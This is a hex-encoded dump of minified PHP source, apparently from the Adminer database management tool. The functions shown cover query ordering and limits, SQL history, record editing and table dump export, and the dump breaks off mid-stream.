73 65 6C 65 63 74 4F 72 64 65 72 50 72 6F 63 65 73 73 28 24 6E 2C 24 76
29 7B 24 4B 3D 61 72 72 61 79 28 29 3B 66 6F 72 65 61 63 68 28 28 61 72
72 61 79 29 24 5F 47 45 54 5B 22 6F 72 64 65 72 22 5D 61 73 24 79 3D 3E
24 58 29 7B 69 66 28 69 73 73 65 74 28 24 6E 5B 24 58 5D 29 7C 7C 70 72
65 67 5F 6D 61 74 63 68 28 27 7E 5E 28 28 43 4F 55 4E 54 5C 5C 28 44 49
53 54 49 4E 43 54 20 7C 5B 41 2D 5A 30 2D 39 5F 5D 2B 5C 5C 28 29 28 60
28 3F 3A 5B 5E 60 5D 7C 60 60 29 2B 60 7C 22 28 3F 3A 5B 5E 22 5D 7C 22
22 29 2B 22 29 5C 5C 29 7C 43 4F 55 4E 54 5C 5C 28 5C 5C 2A 5C 5C 29 29
24 7E 27 2C 24 58 29 29 24 4B 5B 5D 3D 28 69 73 73 65 74 28 24 6E 5B 24
58 5D 29 3F 69 64 66 5F 65 73 63 61 70 65 28 24 58 29 3A 24 58 29 2E 28
69 73 73 65 74 28 24 5F 47 45 54 5B 22 64 65 73 63 22 5D 5B 24 79 5D 29
3F 22 20 44 45 53 43 22 3A 22 22 29 3B 7D 72 65 74 75 72 6E 24 4B 3B 7D
66 75 6E 63 74 69 6F 6E 0A 73 65 6C 65 63 74 4C 69 6D 69 74 50 72 6F 63
65 73 73 28 29 7B 72 65 74 75 72 6E 28 69 73 73 65 74 28 24 5F 47 45 54
5B 22 6C 69 6D 69 74 22 5D 29 3F 24 5F 47 45 54 5B 22 6C 69 6D 69 74 22
5D 3A 22 35 30 22 29 3B 7D 66 75 6E 63 74 69 6F 6E 0A 73 65 6C 65 63 74
4C 65 6E 67 74 68 50 72 6F 63 65 73 73 28 29 7B 72 65 74 75 72 6E 28 69
73 73 65 74 28 24 5F 47 45 54 5B 22 74 65 78 74 5F 6C 65 6E 67 74 68 22
5D 29 3F 24 5F 47 45 54 5B 22 74 65 78 74 5F 6C 65 6E 67 74 68 22 5D 3A
22 31 30 30 22 29 3B 7D 66 75 6E 63 74 69 6F 6E 0A 73 65 6C 65 63 74 45
6D 61 69 6C 50 72 6F 63 65 73 73 28 24 5A 2C 24 6E 63 29 7B 72 65 74 75
72 6E 0A 66 61 6C 73 65 3B 7D 66 75 6E 63 74 69 6F 6E 0A 73 65 6C 65 63
74 51 75 65 72 79 42 75 69 6C 64 28 24 4E 2C 24 5A 2C 24 78 63 2C 24 56
64 2C 24 7A 2C 24 46 29 7B 72 65 74 75 72 6E 22 22 3B 7D 66 75 6E 63 74
69 6F 6E 0A 6D 65 73 73 61 67 65 51 75 65 72 79 28 24 49 29 7B 67 6C 6F
62 61 6C 24 78 3B 72 65 73 74 61 72 74 5F 73 65 73 73 69 6F 6E 28 29 3B
24 42 63 3D 26 67 65 74 5F 73 65 73 73 69 6F 6E 28 22 71 75 65 72 69 65
73 22 29 3B 24 74 3D 22 73 71 6C 2D 22 2E 63 6F 75 6E 74 28 24 42 63 5B
24 5F 47 45 54 5B 22 64 62 22 5D 5D 29 3B 69 66 28 73 74 72 6C 65 6E 28
24 49 29 3E 31 65 36 29 24 49 3D 65 72 65 67 5F 72 65 70 6C 61 63 65 28
27 5B 5C 78 38 30 2D 5C 78 46 46 5D 2B 24 27 2C 27 27 2C 73 75 62 73 74
72 28 24 49 2C 30 2C 31 65 36 29 29 2E 22 5C 6E 2E 2E 2E 22 3B 24 42 63
5B 24 5F 47 45 54 5B 22 64 62 22 5D 5D 5B 5D 3D 61 72 72 61 79 28 24 49
2C 74 69 6D 65 28 29 29 3B 72 65 74 75 72 6E 22 20 3C 73 70 61 6E 20 63
6C 61 73 73 3D 27 74 69 6D 65 27 3E 22 2E 40 64 61 74 65 28 22 48 3A 69
3A 73 22 29 2E 22 3C 2F 73 70 61 6E 3E 20 3C 61 20 68 72 65 66 3D 27 23
24 74 27 20 6F 6E 63 6C 69 63 6B 3D 5C 22 72 65 74 75 72 6E 20 21 74 6F
67 67 6C 65 28 27 24 74 27 29 3B 5C 22 3E 22 2E 27 53 51 4C 20 63 6F 6D
6D 61 6E 64 27 2E 22 3C 2F 61 3E 3C 64 69 76 20 69 64 3D 27 24 74 27 20
63 6C 61 73 73 3D 27 68 69 64 64 65 6E 27 3E 3C 70 72 65 3E 3C 63 6F 64
65 20 63 6C 61 73 73 3D 27 6A 75 73 68 2D 24 78 27 3E 22 2E 73 68 6F 72
74 65 6E 5F 75 74 66 38 28 24 49 2C 31 30 30 30 29 2E 27 3C 2F 63 6F 64
65 3E 3C 2F 70 72 65 3E 3C 70 3E 3C 61 20 68 72 65 66 3D 22 27 2E 68 28
73 74 72 5F 72 65 70 6C 61 63 65 28 22 64 62 3D 22 2E 75 72 6C 65 6E 63
6F 64 65 28 44 42 29 2C 22 64 62 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28
24 5F 47 45 54 5B 22 64 62 22 5D 29 2C 4D 45 29 2E 27 73 71 6C 3D 26 68
69 73 74 6F 72 79 3D 27 2E 28 63 6F 75 6E 74 28 24 42 63 5B 24 5F 47 45
54 5B 22 64 62 22 5D 5D 29 2D 31 29 29 2E 27 22 3E 27 2E 27 45 64 69 74
27 2E 27 3C 2F 61 3E 3C 2F 64 69 76 3E 27 3B 7D 66 75 6E 63 74 69 6F 6E
0A 65 64 69 74 46 75 6E 63 74 69 6F 6E 73 28 24 6D 29 7B 67 6C 6F 62 61
6C 24 46 62 3B 24 4B 3D 28 24 6D 5B 22 6E 75 6C 6C 22 5D 3F 22 4E 55 4C
4C 2F 22 3A 22 22 29 3B 66 6F 72 65 61 63 68 28 24 46 62 0A 61 73 24 79
3D 3E 24 76 63 29 7B 69 66 28 21 24 79 7C 7C 28 21 69 73 73 65 74 28 24
5F 47 45 54 5B 22 63 61 6C 6C 22 5D 29 26 26 28 69 73 73 65 74 28 24 5F
47 45 54 5B 22 73 65 6C 65 63 74 22 5D 29 7C 7C 77 68 65 72 65 28 24 5F
47 45 54 29 29 29 29 7B 66 6F 72 65 61 63 68 28 24 76 63 0A 61 73 24 47
3D 3E 24 58 29 7B 69 66 28 21 24 47 7C 7C 65 72 65 67 28 24 47 2C 24 6D
5B 22 74 79 70 65 22 5D 29 29 24 4B 2E 3D 22 2F 24 58 22 3B 7D 69 66 28
24 79 26 26 21 65 72 65 67 28 27 73 65 74 7C 62 6C 6F 62 7C 62 79 74 65
61 7C 72 61 77 7C 66 69 6C 65 27 2C 24 6D 5B 22 74 79 70 65 22 5D 29 29
24 4B 2E 3D 22 2F 53 51 4C 22 3B 7D 7D 72 65 74 75 72 6E 0A 65 78 70 6C
6F 64 65 28 22 2F 22 2C 24 4B 29 3B 7D 66 75 6E 63 74 69 6F 6E 0A 65 64
69 74 49 6E 70 75 74 28 24 51 2C 24 6D 2C 24 75 61 2C 24 59 29 7B 69 66
28 24 6D 5B 22 74 79 70 65 22 5D 3D 3D 22 65 6E 75 6D 22 29 72 65 74 75
72 6E 28 69 73 73 65 74 28 24 5F 47 45 54 5B 22 73 65 6C 65 63 74 22 5D
29 3F 22 3C 6C 61 62 65 6C 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 27 72
61 64 69 6F 27 24 75 61 20 76 61 6C 75 65 3D 27 2D 31 27 20 63 68 65 63
6B 65 64 3E 3C 69 3E 22 2E 27 6F 72 69 67 69 6E 61 6C 27 2E 22 3C 2F 69
3E 3C 2F 6C 61 62 65 6C 3E 20 22 3A 22 22 29 2E 28 24 6D 5B 22 6E 75 6C
6C 22 5D 3F 22 3C 6C 61 62 65 6C 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D
27 72 61 64 69 6F 27 24 75 61 20 76 61 6C 75 65 3D 27 27 22 2E 28 24 59
21 3D 3D 6E 75 6C 6C 7C 7C 69 73 73 65 74 28 24 5F 47 45 54 5B 22 73 65
6C 65 63 74 22 5D 29 3F 22 22 3A 22 20 63 68 65 63 6B 65 64 22 29 2E 22
3E 3C 69 3E 4E 55 4C 4C 3C 2F 69 3E 3C 2F 6C 61 62 65 6C 3E 20 22 3A 22
22 29 2E 65 6E 75 6D 5F 69 6E 70 75 74 28 22 72 61 64 69 6F 22 2C 24 75
61 2C 24 6D 2C 24 59 2C 30 29 3B 72 65 74 75 72 6E 22 22 3B 7D 66 75 6E
63 74 69 6F 6E 0A 70 72 6F 63 65 73 73 49 6E 70 75 74 28 24 6D 2C 24 59
2C 24 71 3D 22 22 29 7B 69 66 28 24 71 3D 3D 22 53 51 4C 22 29 72 65 74
75 72 6E 24 59 3B 24 45 3D 24 6D 5B 22 66 69 65 6C 64 22 5D 3B 24 4B 3D
71 28 24 59 29 3B 69 66 28 65 72 65 67 28 27 5E 28 6E 6F 77 7C 67 65 74
64 61 74 65 7C 75 75 69 64 29 24 27 2C 24 71 29 29 24 4B 3D 22 24 71 28
29 22 3B 65 6C 73 65 69 66 28 65 72 65 67 28 27 5E 63 75 72 72 65 6E 74
5F 28 64 61 74 65 7C 74 69 6D 65 73 74 61 6D 70 29 24 27 2C 24 71 29 29
24 4B 3D 24 71 3B 65 6C 73 65 69 66 28 65 72 65 67 28 27 5E 28 5B 2B 2D
5D 7C 5C 5C 7C 5C 5C 7C 29 24 27 2C 24 71 29 29 24 4B 3D 69 64 66 5F 65
73 63 61 70 65 28 24 45 29 2E 22 20 24 71 20 24 4B 22 3B 65 6C 73 65 69
66 28 65 72 65 67 28 27 5E 5B 2B 2D 5D 20 69 6E 74 65 72 76 61 6C 24 27
2C 24 71 29 29 24 4B 3D 69 64 66 5F 65 73 63 61 70 65 28 24 45 29 2E 22
20 24 71 20 22 2E 28 70 72 65 67 5F 6D 61 74 63 68 28 22 7E 5E 28 5C 5C
64 2B 7C 27 5B 30 2D 39 2E 3A 20 2D 5D 27 29 20 5B 41 2D 5A 5F 5D 2B 24
7E 69 22 2C 24 59 29 3F 24 59 3A 24 4B 29 3B 65 6C 73 65 69 66 28 65 72
65 67 28 27 5E 28 61 64 64 74 69 6D 65 7C 73 75 62 74 69 6D 65 7C 63 6F
6E 63 61 74 29 24 27 2C 24 71 29 29 24 4B 3D 22 24 71 28 22 2E 69 64 66
5F 65 73 63 61 70 65 28 24 45 29 2E 22 2C 20 24 4B 29 22 3B 65 6C 73 65
69 66 28 65 72 65 67 28 27 5E 28 6D 64 35 7C 73 68 61 31 7C 70 61 73 73
77 6F 72 64 7C 65 6E 63 72 79 70 74 29 24 27 2C 24 71 29 29 24 4B 3D 22
24 71 28 24 4B 29 22 3B 72 65 74 75 72 6E 0A 75 6E 63 6F 6E 76 65 72 74
5F 66 69 65 6C 64 28 24 6D 2C 24 4B 29 3B 7D 66 75 6E 63 74 69 6F 6E 0A
64 75 6D 70 4F 75 74 70 75 74 28 29 7B 24 4B 3D 61 72 72 61 79 28 27 74
65 78 74 27 3D 3E 27 6F 70 65 6E 27 2C 27 66 69 6C 65 27 3D 3E 27 73 61
76 65 27 29 3B 69 66 28 66 75 6E 63 74 69 6F 6E 5F 65 78 69 73 74 73 28
27 67 7A 65 6E 63 6F 64 65 27 29 29 24 4B 5B 27 67 7A 27 5D 3D 27 67 7A
69 70 27 3B 72 65 74 75 72 6E 24 4B 3B 7D 66 75 6E 63 74 69 6F 6E 0A 64
75 6D 70 46 6F 72 6D 61 74 28 29 7B 72 65 74 75 72 6E 0A 61 72 72 61 79
28 27 73 71 6C 27 3D 3E 27 53 51 4C 27 2C 27 63 73 76 27 3D 3E 27 43 53
56 2C 27 2C 27 63 73 76 3B 27 3D 3E 27 43 53 56 3B 27 2C 27 74 73 76 27
3D 3E 27 54 53 56 27 29 3B 7D 66 75 6E 63 74 69 6F 6E 0A 64 75 6D 70 44
61 74 61 62 61 73 65 28 24 6B 29 7B 7D 66 75 6E 63 74 69 6F 6E 0A 64 75
6D 70 54 61 62 6C 65 28 24 51 2C 24 73 66 2C 24 53 63 3D 30 29 7B 69 66
28 24 5F 50 4F 53 54 5B 22 66 6F 72 6D 61 74 22 5D 21 3D 22 73 71 6C 22
29 7B 65 63 68 6F 22 5C 78 65 66 5C 78 62 62 5C 78 62 66 22 3B 69 66 28
24 73 66 29 64 75 6D 70 5F 63 73 76 28 61 72 72 61 79 5F 6B 65 79 73 28
66 69 65 6C 64 73 28 24 51 29 29 29 3B 7D 65 6C 73 65 69 66 28 24 73 66
29 7B 69 66 28 24 53 63 3D 3D 32 29 7B 24 6E 3D 61 72 72 61 79 28 29 3B
66 6F 72 65 61 63 68 28 66 69 65 6C 64 73 28 24 51 29 61 73 24 45 3D 3E
24 6D 29 24 6E 5B 5D 3D 69 64 66 5F 65 73 63 61 70 65 28 24 45 29 2E 22
20 24 6D 5B 66 75 6C 6C 5F 74 79 70 65 5D 22 3B 24 69 3D 22 43 52 45 41
54 45 20 54 41 42 4C 45 20 22 2E 74 61 62 6C 65 28 24 51 29 2E 22 20 28
22 2E 69 6D 70 6C 6F 64 65 28 22 2C 20 22 2C 24 6E 29 2E 22 29 22 3B 7D
65 6C 73 65 24 69 3D 63 72 65 61 74 65 5F 73 71 6C 28 24 51 2C 24 5F 50
4F 53 54 5B 22 61 75 74 6F 5F 69 6E 63 72 65 6D 65 6E 74 22 5D 29 3B 69
66 28 24 69 29 7B 69 66 28 24 73 66 3D 3D 22 44 52 4F 50 2B 43 52 45 41
54 45 22 7C 7C 24 53 63 3D 3D 31 29 65 63 68 6F 22 44 52 4F 50 20 22 2E
28 24 53 63 3D 3D 32 3F 22 56 49 45 57 22 3A 22 54 41 42 4C 45 22 29 2E
22 20 49 46 20 45 58 49 53 54 53 20 22 2E 74 61 62 6C 65 28 24 51 29 2E
22 3B 5C 6E 22 3B 69 66 28 24 53 63 3D 3D 31 29 24 69 3D 72 65 6D 6F 76
65 5F 64 65 66 69 6E 65 72 28 24 69 29 3B 65 63 68 6F 22 24 69 3B 5C 6E
5C 6E 22 3B 7D 7D 7D 66 75 6E 63 74 69 6F 6E 0A 64 75 6D 70 44 61 74 61
28 24 51 2C 24 73 66 2C 24 49 29 7B 67 6C 6F 62 61 6C 24 67 2C 24 78 3B
24 6E 64 3D 28 24 78 3D 3D 22 73 71 6C 69 74 65 22 3F 30 3A 31 30 34 38
35 37 36 29 3B 69 66 28 24 73 66 29 7B 69 66 28 24 5F 50 4F 53 54 5B 22
66 6F 72 6D 61 74 22 5D 3D 3D 22 73 71 6C 22 29 7B 69 66 28 24 73 66 3D
3D 22 54 52 55 4E 43 41 54 45 2B 49 4E 53 45 52 54 22 29 65 63 68 6F 0A
74 72 75 6E 63 61 74 65 5F 73 71 6C 28 24 51 29 2E 22 3B 5C 6E 22 3B 24
6E 3D 66 69 65 6C 64 73 28 24 51 29 3B 7D 24 4A 3D 24 67 2D 3E 71 75 65
72 79 28 24 49 2C 31 29 3B 69 66 28 24 4A 29 7B 24 4E 63 3D 22 22 3B 24
46 61 3D 22 22 3B 24 55 63 3D 61 72 72 61 79 28 29 3B 24 75 66 3D 22 22
3B 24 67 63 3D 28 24 51 21 3D 27 27 3F 27 66 65 74 63 68 5F 61 73 73 6F
63 27 3A 27 66 65 74 63 68 5F 72 6F 77 27 29 3B 77 68 69 6C 65 28 24 4C
3D 24 4A 2D 3E 24 67 63 28 29 29 7B 69 66 28 21 24 55 63 29 7B 24 70 67
3D 61 72 72 61 79 28 29 3B 66 6F 72 65 61 63 68 28 24 4C 0A 61 73 24 58
29 7B 24 6D 3D 24 4A 2D 3E 66 65 74 63 68 5F 66 69 65 6C 64 28 29 3B 24
55 63 5B 5D 3D 24 6D 2D 3E 6E 61 6D 65 3B 24 79 3D 69 64 66 5F 65 73 63
61 70 65 28 24 6D 2D 3E 6E 61 6D 65 29 3B 24 70 67 5B 5D 3D 22 24 79 20
3D 20 56 41 4C 55 45 53 28 24 79 29 22 3B 7D 24 75 66 3D 28 24 73 66 3D
3D 22 49 4E 53 45 52 54 2B 55 50 44 41 54 45 22 3F 22 5C 6E 4F 4E 20 44
55 50 4C 49 43 41 54 45 20 4B 45 59 20 55 50 44 41 54 45 20 22 2E 69 6D
70 6C 6F 64 65 28 22 2C 20 22 2C 24 70 67 29 3A 22 22 29 2E 22 3B 5C 6E
22 3B 7D 69 66 28 24 5F 50 4F 53 54 5B 22 66 6F 72 6D 61 74 22 5D 21 3D
22 73 71 6C 22 29 7B 69 66 28 24 73 66 3D 3D 22 74 61 62 6C 65 22 29 7B
64 75 6D 70 5F 63 73 76 28 24 55 63 29 3B 24 73 66 3D 22 49 4E 53 45 52
54 22 3B 7D 64 75 6D 70 5F 63 73 76 28 24 4C 29 3B 7D 65 6C 73 65 7B 69
66 28 21 24 4E 63 29 24 4E 63 3D 22 49 4E 53 45 52 54 20 49 4E 54 4F 20
22 2E 74 61 62 6C 65 28 24 51 29 2E 22 20 28 22 2E 69 6D 70 6C 6F 64 65
28 22 2C 20 22 2C 61 72 72 61 79 5F 6D 61 70 28 27 69 64 66 5F 65 73 63
61 70 65 27 2C 24 55 63 29 29 2E 22 29 20 56 41 4C 55 45 53 22 3B 66 6F
72 65 61 63 68 28 24 4C 0A 61 73 24 79 3D 3E 24 58 29 7B 24 6D 3D 24 6E
5B 24 79 5D 3B 24 4C 5B 24 79 5D 3D 28 24 58 21 3D 3D 6E 75 6C 6C 3F 75
6E 63 6F 6E 76 65 72 74 5F 66 69 65 6C 64 28 24 6D 2C 65 72 65 67 28 27
28 5E 7C 5B 5E 6F 5D 29 69 6E 74 7C 66 6C 6F 61 74 7C 64 6F 75 62 6C 65
7C 64 65 63 69 6D 61 6C 27 2C 24 6D 5B 22 74 79 70 65 22 5D 29 26 26 24
58 21 3D 27 27 3F 24 58 3A 71 28 24 58 29 29 3A 22 4E 55 4C 4C 22 29 3B
7D 24 59 65 3D 28 24 6E 64 3F 22 5C 6E 22 3A 22 20 22 29 2E 22 28 22 2E
69 6D 70 6C 6F 64 65 28 22 2C 5C 74 22 2C 24 4C 29 2E 22 29 22 3B 69 66
28 21 24 46 61 29 24 46 61 3D 24 4E 63 2E 24 59 65 3B 65 6C 73 65 69 66
28 73 74 72 6C 65 6E 28 24 46 61 29 2B 34 2B 73 74 72 6C 65 6E 28 24 59
65 29 2B 73 74 72 6C 65 6E 28 24 75 66 29 3C 24 6E 64 29 24 46 61 2E 3D
22 2C 24 59 65 22 3B 65 6C 73 65 7B 65 63 68 6F 24 46 61 2E 24 75 66 3B
24 46 61 3D 24 4E 63 2E 24 59 65 3B 7D 7D 7D 69 66 28 24 46 61 29 65 63
68 6F 24 46 61 2E 24 75 66 3B 7D 65 6C 73 65 69 66 28 24 5F 50 4F 53 54
5B 22 66 6F 72 6D 61 74 22 5D 3D 3D 22 73 71 6C 22 29 65 63 68 6F 22 2D
2D 20 22 2E 73 74 72 5F 72 65 70 6C 61 63 65 28 22 5C 6E 22 2C 22 20 22
2C 24 67 2D 3E 65 72 72 6F 72 29 2E 22 5C 6E 22 3B 7D 7D 66 75 6E 63 74
69 6F 6E 0A 64 75 6D 70 46 69 6C 65 6E 61 6D 65 28 24 46 63 29 7B 72 65
74 75 72 6E 0A 66 72 69 65 6E 64 6C 79 5F 75 72 6C 28 24 46 63 21 3D 22
22 3F 24 46 63 3A 28 53 45 52 56 45 52 21 3D 22 22 3F 53 45 52 56 45 52
3A 22 6C 6F 63 61 6C 68 6F 73 74 22 29 29 3B 7D 66 75 6E 63 74 69 6F 6E
0A 64 75 6D 70 48 65 61 64 65 72 73 28 24 46 63 2C 24 7A 64 3D 66 61 6C
73 65 29 7B 24 64 65 3D 24 5F 50 4F 53 54 5B 22 6F 75 74 70 75 74 22 5D
3B 24 62 63 3D 28 65 72 65 67 28 27 73 71 6C 27 2C 24 5F 50 4F 53 54 5B
22 66 6F 72 6D 61 74 22 5D 29 3F 22 73 71 6C 22 3A 28 24 7A 64 3F 22 74
61 72 22 3A 22 63 73 76 22 29 29 3B 68 65 61 64 65 72 28 22 43 6F 6E 74
65 6E 74 2D 54 79 70 65 3A 20 22 2E 28 24 64 65 3D 3D 22 67 7A 22 3F 22
61 70 70 6C 69 63 61 74 69 6F 6E 2F 78 2D 67 7A 69 70 22 3A 28 24 62 63
3D 3D 22 74 61 72 22 3F 22 61 70 70 6C 69 63 61 74 69 6F 6E 2F 78 2D 74
61 72 22 3A 28 24 62 63 3D 3D 22 73 71 6C 22 7C 7C 24 64 65 21 3D 22 66
69 6C 65 22 3F 22 74 65 78 74 2F 70 6C 61 69 6E 22 3A 22 74 65 78 74 2F
63 73 76 22 29 2E 22 3B 20 63 68 61 72 73 65 74 3D 75 74 66 2D 38 22 29
29 29 3B 69 66 28 24 64 65 3D 3D 22 67 7A 22 29 6F 62 5F 73 74 61 72 74
28 27 67 7A 65 6E 63 6F 64 65 27 2C 31 65 36 29 3B 72 65 74 75 72 6E 24
62 63 3B 7D 66 75 6E 63 74 69 6F 6E 0A 68 6F 6D 65 70 61 67 65 28 29 7B
65 63 68 6F 27 3C 70 3E 27 2E 28 24 5F 47 45 54 5B 22 6E 73 22 5D 3D 3D
22 22 3F 27 3C 61 20 68 72 65 66 3D 22 27 2E 68 28 4D 45 29 2E 27 64 61
74 61 62 61 73 65 3D 22 3E 27 2E 27 41 6C 74 65 72 20 64 61 74 61 62 61
73 65 27 2E 22 3C 2F 61 3E 5C 6E 22 3A 22 22 29 2C 28 73 75 70 70 6F 72
74 28 22 73 63 68 65 6D 65 22 29 3F 22 3C 61 20 68 72 65 66 3D 27 22 2E
68 28 4D 45 29 2E 22 73 63 68 65 6D 65 3D 27 3E 22 2E 28 24 5F 47 45 54
5B 22 6E 73 22 5D 21 3D 22 22 3F 27 41 6C 74 65 72 20 73 63 68 65 6D 61
27 3A 27 43 72 65 61 74 65 20 73 63 68 65 6D 61 27 29 2E 22 3C 2F 61 3E
5C 6E 22 3A 22 22 29 2C 28 24 5F 47 45 54 5B 22 6E 73 22 5D 21 3D 3D 22
22 3F 27 3C 61 20 68 72 65 66 3D 22 27 2E 68 28 4D 45 29 2E 27 73 63 68
65 6D 61 3D 22 3E 27 2E 27 44 61 74 61 62 61 73 65 20 73 63 68 65 6D 61
27 2E 22 3C 2F 61 3E 5C 6E 22 3A 22 22 29 2C 28 73 75 70 70 6F 72 74 28
22 70 72 69 76 69 6C 65 67 65 73 22 29 3F 22 3C 61 20 68 72 65 66 3D 27
22 2E 68 28 4D 45 29 2E 22 70 72 69 76 69 6C 65 67 65 73 3D 27 3E 22 2E
27 50 72 69 76 69 6C 65 67 65 73 27 2E 22 3C 2F 61 3E 5C 6E 22 3A 22 22
29 3B 72 65 74 75 72 6E 0A 74 72 75 65 3B 7D 66 75 6E 63 74 69 6F 6E 0A
6E 61 76 69 67 61 74 69 6F 6E 28 24 79 64 29 7B 67 6C 6F 62 61 6C 24 67
61 2C 24 54 2C 24 78 2C 24 7A 62 3B 65 63 68 6F 27 3C 68 31 3E 0A 27 2C
24 74 68 69 73 2D 3E 6E 61 6D 65 28 29 2C 27 20 3C 73 70 61 6E 20 63 6C
61 73 73 3D 22 76 65 72 73 69 6F 6E 22 3E 27 2C 24 67 61 2C 27 3C 2F 73
70 61 6E 3E 0A 3C 61 20 68 72 65 66 3D 22 68 74 74 70 3A 2F 2F 77 77 77
2E 61 64 6D 69 6E 65 72 2E 6F 72 67 2F 23 64 6F 77 6E 6C 6F 61 64 22 20
69 64 3D 22 76 65 72 73 69 6F 6E 22 3E 27 2C 28 76 65 72 73 69 6F 6E 5F
63 6F 6D 70 61 72 65 28 24 67 61 2C 24 5F 43 4F 4F 4B 49 45 5B 22 61 64
6D 69 6E 65 72 5F 76 65 72 73 69 6F 6E 22 5D 29 3C 30 3F 68 28 24 5F 43
4F 4F 4B 49 45 5B 22 61 64 6D 69 6E 65 72 5F 76 65 72 73 69 6F 6E 22 5D
29 3A 22 22 29 2C 27 3C 2F 61 3E 0A 3C 2F 68 31 3E 0A 27 3B 69 66 28 24
79 64 3D 3D 22 61 75 74 68 22 29 7B 24 6B 63 3D 74 72 75 65 3B 66 6F 72
65 61 63 68 28 28 61 72 72 61 79 29 24 5F 53 45 53 53 49 4F 4E 5B 22 70
77 64 73 22 5D 61 73 24 79 62 3D 3E 24 67 66 29 7B 66 6F 72 65 61 63 68
28 24 67 66 0A 61 73 24 4F 3D 3E 24 6F 67 29 7B 66 6F 72 65 61 63 68 28
24 6F 67 0A 61 73 24 56 3D 3E 24 6E 65 29 7B 69 66 28 24 6E 65 21 3D 3D
6E 75 6C 6C 29 7B 69 66 28 24 6B 63 29 7B 65 63 68 6F 22 3C 70 20 69 64
3D 27 6C 6F 67 69 6E 73 27 20 6F 6E 6D 6F 75 73 65 6F 76 65 72 3D 27 6D
65 6E 75 4F 76 65 72 28 74 68 69 73 2C 20 65 76 65 6E 74 29 3B 27 20 6F
6E 6D 6F 75 73 65 6F 75 74 3D 27 6D 65 6E 75 4F 75 74 28 74 68 69 73 29
3B 27 3E 5C 6E 22 3B 24 6B 63 3D 66 61 6C 73 65 3B 7D 24 6E 62 3D 24 5F
53 45 53 53 49 4F 4E 5B 22 64 62 22 5D 5B 24 79 62 5D 5B 24 4F 5D 5B 24
56 5D 3B 66 6F 72 65 61 63 68 28 28 24 6E 62 3F 61 72 72 61 79 5F 6B 65
79 73 28 24 6E 62 29 3A 61 72 72 61 79 28 22 22 29 29 61 73 24 6B 29 65
63 68 6F 22 3C 61 20 68 72 65 66 3D 27 22 2E 68 28 61 75 74 68 5F 75 72
6C 28 24 79 62 2C 24 4F 2C 24 56 2C 24 6B 29 29 2E 22 27 3E 28 24 7A 62
5B 24 79 62 5D 29 20 22 2E 68 28 24 56 2E 28 24 4F 21 3D 22 22 3F 22 40
24 4F 22 3A 22 22 29 2E 28 24 6B 21 3D 22 22 3F 22 20 2D 20 24 6B 22 3A
22 22 29 29 2E 22 3C 2F 61 3E 3C 62 72 3E 5C 6E 22 3B 7D 7D 7D 7D 7D 65
6C 73 65 7B 65 63 68 6F 27 3C 66 6F 72 6D 20 61 63 74 69 6F 6E 3D 22 22
20 6D 65 74 68 6F 64 3D 22 70 6F 73 74 22 3E 0A 3C 70 20 63 6C 61 73 73
3D 22 6C 6F 67 6F 75 74 22 3E 0A 27 3B 69 66 28 44 42 3D 3D 22 22 7C 7C
21 24 79 64 29 7B 65 63 68 6F 22 3C 61 20 68 72 65 66 3D 27 22 2E 68 28
4D 45 29 2E 22 73 71 6C 3D 27 22 2E 62 6F 6C 64 28 69 73 73 65 74 28 24
5F 47 45 54 5B 22 73 71 6C 22 5D 29 29 2E 22 20 74 69 74 6C 65 3D 27 22
2E 27 49 6D 70 6F 72 74 27 2E 22 27 3E 22 2E 27 53 51 4C 20 63 6F 6D 6D
61 6E 64 27 2E 22 3C 2F 61 3E 5C 6E 22 3B 69 66 28 73 75 70 70 6F 72 74
28 22 64 75 6D 70 22 29 29 65 63 68 6F 22 3C 61 20 68 72 65 66 3D 27 22
2E 68 28 4D 45 29 2E 22 64 75 6D 70 3D 22 2E 75 72 6C 65 6E 63 6F 64 65
28 69 73 73 65 74 28 24 5F 47 45 54 5B 22 74 61 62 6C 65 22 5D 29 3F 24
5F 47 45 54 5B 22 74 61 62 6C 65 22 5D 3A 24 5F 47 45 54 5B 22 73 65 6C
65 63 74 22 5D 29 2E 22 27 20 69 64 3D 27 64 75 6D 70 27 22 2E 62 6F 6C
64 28 69 73 73 65 74 28 24 5F 47 45 54 5B 22 64 75 6D 70 22 5D 29 29 2E
22 3E 22 2E 27 44 75 6D 70 27 2E 22 3C 2F 61 3E 5C 6E 22 3B 7D 65 63 68
6F 27 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 73 75 62 6D 69 74 22 20 6E
61 6D 65 3D 22 6C 6F 67 6F 75 74 22 20 76 61 6C 75 65 3D 22 4C 6F 67 6F
75 74 22 20 69 64 3D 22 6C 6F 67 6F 75 74 22 3E 0A 3C 69 6E 70 75 74 20
74 79 70 65 3D 22 68 69 64 64 65 6E 22 20 6E 61 6D 65 3D 22 74 6F 6B 65
6E 22 20 76 61 6C 75 65 3D 22 27 2C 24 54 2C 27 22 3E 0A 3C 2F 70 3E 0A
3C 2F 66 6F 72 6D 3E 0A 27 3B 24 74 68 69 73 2D 3E 64 61 74 61 62 61 73
65 73 50 72 69 6E 74 28 24 79 64 29 3B 69 66 28 24 5F 47 45 54 5B 22 6E
73 22 5D 21 3D 3D 22 22 26 26 21 24 79 64 26 26 44 42 21 3D 22 22 29 7B
65 63 68 6F 27 3C 70 3E 3C 61 20 68 72 65 66 3D 22 27 2E 68 28 4D 45 29
2E 27 63 72 65 61 74 65 3D 22 27 2E 62 6F 6C 64 28 24 5F 47 45 54 5B 22
63 72 65 61 74 65 22 5D 3D 3D 3D 22 22 29 2E 22 3E 22 2E 27 43 72 65 61
74 65 20 6E 65 77 20 74 61 62 6C 65 27 2E 22 3C 2F 61 3E 5C 6E 22 3B 24
53 3D 74 61 62 6C 65 5F 73 74 61 74 75 73 28 27 27 2C 74 72 75 65 29 3B
69 66 28 21 24 53 29 65 63 68 6F 22 3C 70 20 63 6C 61 73 73 3D 27 6D 65
73 73 61 67 65 27 3E 22 2E 27 4E 6F 20 74 61 62 6C 65 73 2E 27 2E 22 5C
6E 22 3B 65 6C 73 65 7B 24 74 68 69 73 2D 3E 74 61 62 6C 65 73 50 72 69
6E 74 28 24 53 29 3B 24 69 64 3D 61 72 72 61 79 28 29 3B 66 6F 72 65 61
63 68 28 24 53 0A 61 73 24 51 3D 3E 24 55 29 24 69 64 5B 5D 3D 70 72 65
67 5F 71 75 6F 74 65 28 24 51 2C 27 2F 27 29 3B 65 63 68 6F 22 3C 73 63
72 69 70 74 20 74 79 70 65 3D 27 74 65 78 74 2F 6A 61 76 61 73 63 72 69
